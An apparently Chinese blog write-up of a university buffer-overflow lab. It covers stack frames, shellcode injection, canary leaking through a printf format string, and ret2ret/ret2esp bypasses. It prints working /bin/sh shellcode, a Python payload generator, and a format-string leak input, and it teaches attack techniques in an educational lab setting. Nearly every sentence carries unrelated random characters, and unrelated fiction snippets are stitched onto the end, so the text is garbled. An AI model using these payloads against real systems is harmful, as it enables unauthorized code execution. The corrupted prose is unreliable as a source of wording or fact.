Buffer Overflow

前言

CS 161 is the voodoo plan of Lord Dirks. Project 1 is the first step.

這個(gè)project 1做的我心態(tài)爆炸

感覺自己還是不是很懂匯編指令 特別是esp寄存器

基本知識(shí)介紹

stackStructure.png

上圖是linux x86系列的內(nèi)存結(jié)構(gòu)。stack向下生長(zhǎng)胳挎,環(huán)境變量和Stack被視為相同的數(shù)據(jù)风秤。

最底下的是文本代碼段,存儲(chǔ)著程序的匯編代碼崔拥。Static data segment存放著未賦值和賦值過的靜態(tài)變量葱她。

Heap主要是程序中動(dòng)態(tài)申請(qǐng)的內(nèi)存空間昆箕。

stackStructureInDetail.png
runtimeStack.png

上面兩圖顯示了函數(shù)調(diào)用中相關(guān)的一些寄存器和地址內(nèi)容撞反。

最基本的涉及三個(gè)寄存器

esp (stack pointer): 指向函數(shù)頂?shù)募拇嫫魍咨幱趦?nèi)存底部(棧的頂部)

ebp (base pointer/saved frame pointer):指向函數(shù)底的的寄存器,處于內(nèi)存頂部(棧的底部)

eip (instruction pointer): 指向文本區(qū)的下一個(gè)指令

還有一些其他的重要指針比如rip (return instruction pointer) 指向的是函數(shù)返回的地址遏片。

在函數(shù)運(yùn)行的時(shí)候嘹害,esp不斷向上的pop

到return address時(shí)根據(jù)rip值跳轉(zhuǎn)

接下來介紹緩沖區(qū)buffer/字符串

如下圖的user,在c語(yǔ)言即

char a[20];

長(zhǎng)度固定吮便。

在程序運(yùn)行時(shí)開拓一段空間

buffer向上生長(zhǎng)笔呀,小index在下,大index在上

所有函數(shù)調(diào)用的時(shí)候线衫,ebp和esp都會(huì)經(jīng)過這樣的操作:

0x0804840c <+0>:    push   %ebp
0x0804840d <+1>:    mov    %esp,%ebp
0x0804840f <+3>:    sub    $0x28,%esp

簡(jiǎn)單的意思是

  1. 壓入ebp
  2. 讓ebp等于esp
  3. 讓esp到ebp下面x個(gè)字節(jié)的位置x與函數(shù)內(nèi)容有關(guān)凿可,但是必然是字的整數(shù)倍惑折。x86架構(gòu)時(shí)4n授账,x64架構(gòu)是8n枯跑。

基本的buffer overflow

buffer overflow的意思即是在buffer沒有做到良好保護(hù)的時(shí)候,通過緩沖區(qū)溢出覆蓋內(nèi)存從而改變代碼走向白热,并且做出攻擊敛助。

假如我的代碼是這樣

//dejavu.c
#include <stdio.h>
void deja_vu()
{
    char door[8];
    gets(door);
}

int main()
{
    deja_vu();
    return 0;
}

通過gdb,我們可以發(fā)現(xiàn)一些關(guān)鍵的地址

(gdb) x $ebp
0xbffffab8: 0xbffffac8
(gdb) x $eip
0x804841d <deja_vu+17>: 0x8955c3c9
(gdb) x $esp
0xbffffa90: 0xbffffaa8
(gdb) x door
0xbffffaa8: 0x41414141
(gdb) x main
0x804841f <main>:   0x83e58955
(gdb) x $ebp +4
0xbffffabc: 0x0804842a

可以發(fā)現(xiàn)

rip($ebp+4)指向的是main函數(shù)中的一個(gè)地址屋确,即返回地址

$eip指向的是文本區(qū)中的一個(gè)地址

door在ebp和esp中間

door離ebp有0x10的距離

具體的看應(yīng)該是

(gdb) x/8wx door
0xbffffaa8: 0x41414141  0x41414141  0xb7fed200  0x00000000
0xbffffab8: 0xbffffac8  0x0804842a  0x08048440  0x00000000

其中0x41是我的合法輸入AAAAAAAA

內(nèi)存結(jié)構(gòu)大概時(shí)這樣

dejavu.png

那么如果我的輸入不合法呢纳击?比如對(duì)于上面那段代碼,我輸入了很多A攻臀,那么內(nèi)存結(jié)構(gòu)大概是

dejavu_invalidA.png

可以看見我們將rip和ebp原本的數(shù)值覆蓋掉了焕数。這時(shí)如果要返回,查看rip發(fā)現(xiàn)地址是0x41414141然后發(fā)現(xiàn)那個(gè)地址沒有任何有意義的地址與指令于是拋出段錯(cuò)誤

輸入:AAAAAAAAAAAAAAAA

之后查看gdb

(gdb) x/8wx door
0xbffffaa8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffab8: 0x41414141  0x41414141  0x08048400  0x00000000

發(fā)現(xiàn)所有東西都被改掉了刨啸,程序拋出段錯(cuò)誤堡赔,崩潰

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

可以看到程序試圖區(qū)尋找0x41414141的數(shù)據(jù),發(fā)現(xiàn)無意義

無防御機(jī)制的攻擊

無意義的數(shù)據(jù)只會(huì)使程序崩潰设联,但是如果數(shù)據(jù)有意義呢善已?

但是如果我們能夠?qū)⒊绦驅(qū)胛覀兊挠幸饬x的惡意代碼呢

我們將這種可執(zhí)行代碼稱為shell code('shell code' contains 'hell code', you know)

shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
# assume that this is a code for getting permission of other users 

*注意這是一個(gè)小端排序(little-endian)的程序,所以其實(shí)內(nèi)存中會(huì)是

0x895e1feb...

我們通過棧溢出將我們的可執(zhí)行代碼塞入內(nèi)存中离例,并且通過改變r(jià)ip的數(shù)據(jù)(返回地址)去讓程序執(zhí)行我們的惡意代碼换团。

#!/usr/bin/env python

# ~/egg
shell="\x90\x90\x90\x90"+"\x90\x90\x90\x90"+"\x00\xd2\xfe\xb7"+"\x00\x00\x00\x00"+"\xf8\xf6\xff\xbf"+"\xc8\xfa\xff\xbf"+"\x40\x84\x04\x08"+"\x00\x00\x00\x00"

shell2="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
print(shell+shell2)

*\x90沒什么特別的1意義,只是為了填滿buffer宫蛆。讓buffer被其他的字符艘包,如\x41,填滿也ok

然后將這段導(dǎo)入另一個(gè)文件中

./egg > shellcode

然后再執(zhí)行程序時(shí)將其導(dǎo)入并且gdb洒扎,我們就會(huì)發(fā)現(xiàn)

(gdb) x/30wx door
0xbffffaa8: 0x90909090  0x90909090  0xb7fed200  0x00000000
0xbffffab8: 0xbffff6f8  0xbffffac8  0x08048440  0x00000000
0xbffffac8: 0x895e1feb  0xc0310876  0x89074688  0x0bb00c46
0xbffffad8: 0x4e8df389  0x0c568d08  0xdb3180cd  0xcd40d889
0xbffffae8: 0xffdce880  0x622fffff  0x732f6e69  0xb7fd0068
0xbffffaf8: 0x00000000  0x00000000  0x00000000  0xef5b7982
0xbffffb08: 0xd807fd92  0x00000000  0x00000000  0x00000000
0xbffffb18: 0x00000001  0x08048320

我們可以看到rip已經(jīng)被改變了辑甜,而rip指向的地址早已被我們改成了我們的shell code

程序在結(jié)束的時(shí)候調(diào)用ret指令,ret會(huì)根據(jù)rip的地址進(jìn)行返回跳轉(zhuǎn)袍冷,由于我們將rip該到了shell code的首地址磷醋,程序”返回“到我們的shell code位置并且開始執(zhí)行shell code的指令,由于我們的shell code的意思時(shí)獲得權(quán)限胡诗,那么我們也可以說是攻入對(duì)方系統(tǒng)邓线。

dejavu_shellcode.png

包括如果對(duì)方將秘密函數(shù)(比如一個(gè)刪數(shù)據(jù)庫(kù)跑路的函數(shù))寫在代碼中,也可以通過”返回“到秘密函數(shù)執(zhí)行秘密函數(shù)

環(huán)境變量攻擊

有的時(shí)候即使沒有一些額外的防御機(jī)制煌恢,我們的shellcode也會(huì)收到限制骇陈,比如

  1. 程序員進(jìn)行了一定的邊界檢查(雖然并沒有檢查完全)導(dǎo)致你能操控的字節(jié)數(shù)有限(一到二個(gè)字節(jié))

    比如下面這段代碼

    void flip(char *buf, const char *input)
    {
        //char buf[64];
        //we can input via stdin
      size_t n = strlen(input);
      int i;
      for (i = 0; i < n && i <= 64; ++i)
        buf[i] = input[i] ^ (1u << 5);
    
      while (i < 64)
        buf[i++] = '\0';
    }
    

    我能溢出的只有buf+64這一個(gè)字節(jié)

  2. 程序內(nèi)只使用了環(huán)境變量和給黑客控制環(huán)境變量的空間但是并沒有用戶輸入的內(nèi)容,我們無法將shellcode通過文件和stdin輸入其中

這時(shí)單純的寫入shellcode有點(diǎn)不現(xiàn)實(shí)瑰抵,但是我們可以將shellcode放入環(huán)境變量中你雌。程序執(zhí)行的時(shí)候,環(huán)境變量位于Stack上方。并且環(huán)境變量可以與main函數(shù)的參數(shù)等同(實(shí)際上就是main函數(shù)的參數(shù))婿崭。

我們可以讓rip返回到環(huán)境變量的地址處并且執(zhí)行shellcode

(gdb) x/s *((char**) environ)
0xbffffbe9: "PAD=EGG=\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f\315\200\061\333\211\330@\315\200\350\334\377\377\377/bin/sh"

有防御機(jī)制的攻擊

Canary(金絲雀)

canary源于17世紀(jì)英國(guó)工人對(duì)瓦斯的檢查方式拨拓。由于金絲雀比人類對(duì)瓦斯更加敏感,英國(guó)工人通過金絲雀的行為(包括是否死亡)探測(cè)是否有大量的瓦斯氓栈。

由于上述的buffer overflow方法基于修改rip值渣磷,如果在ebp下面放一個(gè)字作為canary。canary(Debian系統(tǒng)實(shí)現(xiàn))始于NUL(\x00)授瘦,其他三個(gè)字節(jié)為隨機(jī)數(shù)醋界。起始的NUL可以阻擋攻擊者讀入canary(字符串的結(jié)束符號(hào))

canary的另一部分放在gs寄存器中

在程序調(diào)用結(jié)束之前leave ret之前檢查棧上的canary與寄存器中的canary是否相等,如果相等則沒有認(rèn)為沒有發(fā)生buffer overflow提完,否則發(fā)現(xiàn)stack smashing并且調(diào)用__stack_chk_fail函數(shù)中斷程序

觀察下面的開啟Canary機(jī)制的程序

#define BUFLEN 16

#include <stdio.h>
#include <string.h>

int nibble_to_int(char nibble) {
    if ('0' <= nibble && nibble <= '9') return nibble - '0';
    else return nibble - 'a' + 10;
}

void dehexify() {
    char buffer[BUFLEN];
    char answer[BUFLEN];
    int i = 0, j = 0;

    gets(buffer);

    while (buffer[i]) {
        if (buffer[i] == '\\' && buffer[i+1] == 'x') {
            int top_half = nibble_to_int(buffer[i+2]);
            int bottom_half = nibble_to_int(buffer[i+3]);
            answer[j] = top_half << 4 | bottom_half;
            i += 3;
        } else {
            answer[j] = buffer[i];
        }
        i++; j++;
    }

    answer[j] = 0;
    printf("%s\n", answer);
    fflush(stdout);
}

int main() {
    while (!feof(stdin)) {
        dehexify();
    }
}

觀察函數(shù)dehexify匯編碼

(gdb) disassemble dehexify 
Dump of assembler code for function dehexify:
//函數(shù)初始化
   0x0804853d <+0>: push   %ebp
   0x0804853e <+1>: mov    %esp,%ebp
   0x08048540 <+3>: sub    $0x38,%esp
//%gs:0x14存的就是canary的值形纺,并且將其插入$ebp-4的位置)
   0x08048543 <+6>: mov    %gs:0x14,%eax
   0x08048549 <+12>:    mov    %eax,-0x4(%ebp)
   0x0804854c <+15>:    xor    %eax,%eax
...
   0x08048617 <+218>:   mov    -0x4(%ebp),%eax
//將canary從%gs:0x14拿出并且與放入的canary進(jìn)行比對(duì)。如果相同則跳轉(zhuǎn)到函數(shù)+235處(正常離開)徒欣,否則調(diào)用函數(shù)__stack_chk_fail挡篓,拋出異常

   0x0804861a <+221>:   xor    %gs:0x14,%eax
   0x08048621 <+228>:   je     0x8048628 <dehexify+235>
   0x08048623 <+230>:   call   0x8048400 <__stack_chk_fail@plt>
   0x08048628 <+235>:   leave  
   0x08048629 <+236>:   ret    

輸入正常字符串AAAAAAAAAAAAAAAA后觀察棧

(gdb) x/30wx answer
0xbffffaa8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffab8: 0x41414100  0x41414141  0x41414141  0x41414141
0xbffffac8: 0x5bb90c00  0xbffffad8  0x08048637  0xb7fd2ac0
(gdb) p $ebp
$1 = (void *) 0xbffffacc

易知在ebp和我們自己的數(shù)據(jù)(buffer)中隔了一個(gè)字的canary,其起始字符為NUL(\x00)

*(看上去是最后一個(gè)字節(jié)帚称,但是這個(gè)時(shí)小端序所以反而是第一個(gè)字節(jié))

如果輸入非法字符串如

AAAAAAAAAAAAAAAAA(17個(gè)A)

(gdb) x/30wx buffer 
0xbffffab8: 0x41410041  0x41414141  0x41414141  0x41414141
0xbffffac8: 0xe7590041  0xbffffad8  0x08048637  0xb7fd2ac0
0xbffffad8: 0x00000000  0xb7e454d3  0x00000001  0xbffffb74
0xbffffae8: 0xbffffb7c  0xb7fdc858  0x00000000  0xbffffb1c
0xbffffaf8: 0xbffffb7c  0x00000000  0x08048288  0xb7fd2000
0xbffffb08: 0x00000000  0x00000000  0x00000000  0xead1f830
0xbffffb18: 0xdd8d1c20  0x00000000  0x00000000  0x00000000
0xbffffb28: 0x00000001  0x08048450

最后的結(jié)果會(huì)是

*** stack smashing detected ***: /home/jz/agent-jz terminated

Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()
(gdb) 

攻擊方式

printf格式化攻擊

//test.c
void invoker(){
    char buffer[16];
    gets(buffer);as
    printf(buffer);
}

int main(void){
    invoker();
}

編譯一下

gcc -m32 -z execstack -o canary -ggdb -fstack-protector-all test.c

之后用objdump查看匯編碼


0804848c <invoke>:
 804848c:   55                      push   %ebp
 804848d:   89 e5                   mov    %esp,%ebp
 804848f:   83 ec 68                sub    $0x68,%esp
 8048492:   65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048498:   89 45 f4                mov    %eax,-0xc(%ebp)
 804849b:   31 c0                   xor    %eax,%eax
 804849d:   8d 45 b4                lea    -0x4c(%ebp),%eax
 80484a0:   89 04 24                mov    %eax,(%esp)
 80484a3:   e8 b8 fe ff ff          call   8048360 <gets@plt>
 80484a8:   8d 45 b4                lea    -0x4c(%ebp),%eax
 80484ab:   89 04 24                mov    %eax,(%esp)
 80484ae:   e8 9d fe ff ff          call   8048350 <printf@plt>
 80484b3:   8b 45 f4                mov    -0xc(%ebp),%eax
 80484b6:   65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 80484bd:   74 05                   je     80484c4 <invoke+0x38>
 80484bf:   e8 ac fe ff ff          call   8048370 <__stack_chk_fail@plt>
 80484c4:   c9                      leave  
 80484c5:   c3                      ret    

我們查看一下$ebp-0xc的數(shù)據(jù)

(gdb) x $ebp-0xc
0xbffff6dc: 0xdd4aed00

可以確定這就是canary了

我們的格式化是從esp開始數(shù)官研,所以我們要確定從esp到canary有多少個(gè)字

(gdb) x $esp
0xbffff680: 0xbffff69c

(0xdc-0x80)/4 = 23(10 based)

所以我們的輸入可以時(shí)%23$x

然后就會(huì)發(fā)現(xiàn)

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/jz/canary 
%23$x
a1116800[Inferior 1 (process 10311) exited normally]

成功拉出canary

ASLR(地址空間布局隨機(jī)化)

Address Space Layout Randomization是一種防止攻擊的很好的方法。上述的各種方法都是基于內(nèi)存布局是固定的闯睹。我們需要一個(gè)固定的絕對(duì)地址去使我們的rip跳轉(zhuǎn)到我們的shell code戏羽。但是如果每次程序運(yùn)行時(shí),其分布不完全固定而是隨機(jī)的楼吃,那么我們無法固定地址始花,從而難以攻擊。

ASLR只打亂Stack區(qū)和lib孩锡,其他的如Heap和Text區(qū)并不會(huì)被打亂

攻擊方式

ret2ret

每當(dāng)我們執(zhí)行ret指令時(shí)酷宵,我們實(shí)際上都在執(zhí)行

pop eip

ASLR只會(huì)隨機(jī)化棧區(qū),但是文本段并不會(huì)躬窜。所以每回運(yùn)行時(shí)浇垦,文本區(qū)都是固定的,ret的地址都是可以被找到的

esp所指向的地址的數(shù)據(jù)被eip覆蓋

每當(dāng)調(diào)用一次ret

esp都會(huì)+4(1個(gè)字)

ret2retbefore.png

ret2retafter.png

我們可以通過這種方式將esp"抬到"指向我們shellcode的一個(gè)指針荣挨,然后通過通過這個(gè)指針執(zhí)行我們的shellcode

ret2pop

不是很熟男韧,但是應(yīng)該和ret2ret差不多。只不過pop可以跳過某些區(qū)域

ret2esp

ret2esp是個(gè)很有意思的方法默垄,因?yàn)樗蟮闹噶頶cc并不提供此虑。

它需要jmp * esp,其匯編碼為0xffe4

這個(gè)指令可以跳轉(zhuǎn)到esp口锭,從而我們可以使esp指向我們的shellcode并且執(zhí)行我們的shellcode朦前。

#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>

#define BUFSIZE 3520

unsigned int magic(unsigned int i, unsigned int j)
{
  i ^= j << 3;
  j ^= i << 3;
  i |= 58623;
  j %= 0x42;
  return i & j;
}

void error(const char *msg)
{
  fprintf(stderr, "error: %s\n", msg);
  exit(1);
}

ssize_t io(int socket, size_t n, char *buf)
{
  recv(socket, buf, n << 3, MSG_WAITALL);
  size_t i = 0;
  while (buf[i] && buf[i] != '\n' && i < n)
    buf[i++] ^= 0x42;
  return i;
  send(socket, buf, n, 0);
}

void handle(int client)
{
  char buf[BUFSIZE];
  memset(buf, 0, sizeof(buf));
  io(client, BUFSIZE, buf);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
  {
    fprintf(stderr, "usage: %s port\n", argv[0]);
    return 1;
  }

  int srv = socket(AF_INET, SOCK_STREAM, 0);
  if (srv < 0)
    error("socket()");

  int on = 1;
  if (setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
    error("setting SO_REUSEADDR failed");

  struct sockaddr_in server, client;
  memset(&server, 0, sizeof(server));
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port = htons(atoi(argv[1]));

  if (bind(srv, (struct sockaddr *) &server, sizeof(server)) < 0)
    error("bind()");

  if (listen(srv, 5) < 0)
    error("listen()");

  socklen_t c = sizeof(client);
  int client_socket;
  for (;;)
  {
    if ((client_socket = accept(srv, (struct sockaddr *) &client, &c)) < 0)
      error("accept()");
    handle(client_socket);
    close(client_socket);
  }

  return 0;
}                     

這段代碼非常復(fù)雜,但是我們簡(jiǎn)單分析就可以發(fā)現(xiàn)

  1. magic卵用沒有
  2. io函數(shù)會(huì)有緩沖區(qū)溢出
  3. 緩沖區(qū)在handle函數(shù)中韭寸,而handle函數(shù)調(diào)用io函數(shù)这溅。說明緩沖區(qū)在io函數(shù)的上面,二緩沖區(qū)溢出是從下到上的過程棒仍。所以這個(gè)緩沖區(qū)溢出只能控制handle函數(shù)而不是io函數(shù)

然后我們可以查看一下magic函數(shù)(因?yàn)槁延脹]有)

(gdb) x/30wx *magic
0x8048604 <magic>:  0x8be58955  0xe0c10c45  0x08453103  0xc108458b
0x8048614 <magic+16>:   0x453103e0  0x084d810c  0x0000e4ff  0xba0c4d8b
0x8048624 <magic+32>:   0x3e0f83e1  0xe2f7c889  0xe8c1d089  0x89c00104
0x8048634 <magic+48>:   0x05e2c1c2  0xca89d001  0xd089c229  0x8b0c4589
0x8048644 <magic+64>:   0x558b0c45  0x5dd02108  0xe58955c3  0xba18ec83
0x8048654 <error+7>:    0x080489b0  0x04a03ca1  0x084d8b08  0x08244c89
0x8048664 <error+23>:   0x04245489  0xe8240489  0xfffffe70  0x012404c7
0x8048674 <error+39>:   0xe8000000  0xfffffe44

發(fā)現(xiàn)有一個(gè)0x0000e4ff由于是小端序,這就是ffe4

然后我們就可以把rip改為這個(gè)指令并且在其上面放我們的shellcode臭胜。

此時(shí)當(dāng)jmp * esp執(zhí)行的時(shí)候莫其,esp指向shellcode,從而我們的shellcode可以被執(zhí)行

ret2esp.png

執(zhí)行異或

內(nèi)存的每一塊只允許被寫入或者被執(zhí)行耸三,不可能即被寫入又被執(zhí)行

讀完這篇文章你就會(huì)知道

  1. 搞事精和點(diǎn)子王都很會(huì)玩
  2. Microsoft家的c/c++編譯器重寫string.h文件中的函數(shù)并且逼著你使用scanf_s/strcpy_s/blabla的良苦用心
  3. 請(qǐng)一個(gè)傻吊一樣的永遠(yuǎn)不寫安全的邊界檢測(cè)的程序員的下場(chǎng)
  4. 為什么不要使用C/C++(雖然我這么說你還是會(huì)用乱陡,對(duì)吧)
  5. 對(duì)一些project掉以輕心以為自己三天就能寫完這個(gè)只有五題project結(jié)果最后搞到心態(tài)爆炸的下場(chǎng)
  6. 做這種project之前一定不要奶這題很簡(jiǎn)單之類的
  7. 為什么說用strcpy和gets這樣的函數(shù)要謹(jǐn)慎一點(diǎn)
  8. 三天肝project是可以肝出東西的
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市仪壮,隨后出現(xiàn)的幾起案子憨颠,更是在濱河造成了極大的恐慌,老刑警劉巖积锅,帶你破解...
    沈念sama閱讀 211,194評(píng)論 6 490
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件爽彤,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡缚陷,警方通過查閱死者的電腦和手機(jī)适篙,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,058評(píng)論 2 385
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來箫爷,“玉大人嚷节,你說我怎么就攤上這事』⒚” “怎么了硫痰?”我有些...
    開封第一講書人閱讀 156,780評(píng)論 0 346
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)窜护。 經(jīng)常有香客問我效斑,道長(zhǎng),這世上最難降的妖魔是什么柱徙? 我笑而不...
    開封第一講書人閱讀 56,388評(píng)論 1 283
  • 正文 為了忘掉前任鳍悠,我火速辦了婚禮,結(jié)果婚禮上坐搔,老公的妹妹穿的比我還像新娘藏研。我一直安慰自己,他們只是感情好概行,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,430評(píng)論 5 384
  • 文/花漫 我一把揭開白布蠢挡。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪业踏。 梳的紋絲不亂的頭發(fā)上禽炬,一...
    開封第一講書人閱讀 49,764評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音勤家,去河邊找鬼腹尖。 笑死,一個(gè)胖子當(dāng)著我的面吹牛伐脖,可吹牛的內(nèi)容都是我干的热幔。 我是一名探鬼主播,決...
    沈念sama閱讀 38,907評(píng)論 3 406
  • 文/蒼蘭香墨 我猛地睜開眼讼庇,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼绎巨!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起蠕啄,我...
    開封第一講書人閱讀 37,679評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤场勤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后歼跟,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體和媳,經(jīng)...
    沈念sama閱讀 44,122評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,459評(píng)論 2 325
  • 正文 我和宋清朗相戀三年哈街,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了窗价。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,605評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡叹卷,死狀恐怖撼港,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情骤竹,我是刑警寧澤帝牡,帶...
    沈念sama閱讀 34,270評(píng)論 4 329
  • 正文 年R本政府宣布,位于F島的核電站蒙揣,受9級(jí)特大地震影響靶溜,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜懒震,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,867評(píng)論 3 312
  • 文/蒙蒙 一罩息、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧个扰,春花似錦瓷炮、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,734評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)苍狰。三九已至,卻和暖如春烘绽,著一層夾襖步出監(jiān)牢的瞬間淋昭,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,961評(píng)論 1 265
  • 我被黑心中介騙來泰國(guó)打工安接, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留翔忽,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,297評(píng)論 2 360
  • 正文 我出身青樓盏檐,卻偏偏與公主長(zhǎng)得像歇式,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子糯笙,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,472評(píng)論 2 348

推薦閱讀更多精彩內(nèi)容

  • 原文地址:C語(yǔ)言函數(shù)調(diào)用棧(一)C語(yǔ)言函數(shù)調(diào)用棧(二) 0 引言 程序的執(zhí)行過程可看作連續(xù)的函數(shù)調(diào)用。當(dāng)一個(gè)函數(shù)執(zhí)...
    小豬啊嗚閱讀 4,595評(píng)論 1 19
  • 一撩银、溫故而知新 1. 內(nèi)存不夠怎么辦 內(nèi)存簡(jiǎn)單分配策略的問題地址空間不隔離內(nèi)存使用效率低程序運(yùn)行的地址不確定 關(guān)于...
    SeanCST閱讀 7,784評(píng)論 0 27
  • 這幾天有朋友反映給小編說讓多發(fā)點(diǎn)關(guān)于面試的文章额获,小編深知從事IT行業(yè)的難處够庙,跳槽多,加班多抄邀,薪資不樂觀耘眨,大多數(shù)朋友...
    諸葛青云999閱讀 10,043評(píng)論 0 6
  • (萬尚學(xué)習(xí)會(huì))打卡第123天 姓名:徐娟 部門:人事部 組別:待定 【知~學(xué)習(xí)】 《京瓷哲學(xué)》第一章“度過美好的人...
    徐娟Wellin閱讀 170評(píng)論 0 0
  • 為你點(diǎn)贊剔难!快遞小哥 今天在醫(yī)院陪兒子打點(diǎn)滴期間,擔(dān)心影響病房里其他患者和家屬奥喻。我把手機(jī)調(diào)靜音模式了偶宫。 等我得閑時(shí)打...
    吾言的簡(jiǎn)書閱讀 326評(píng)論 1 1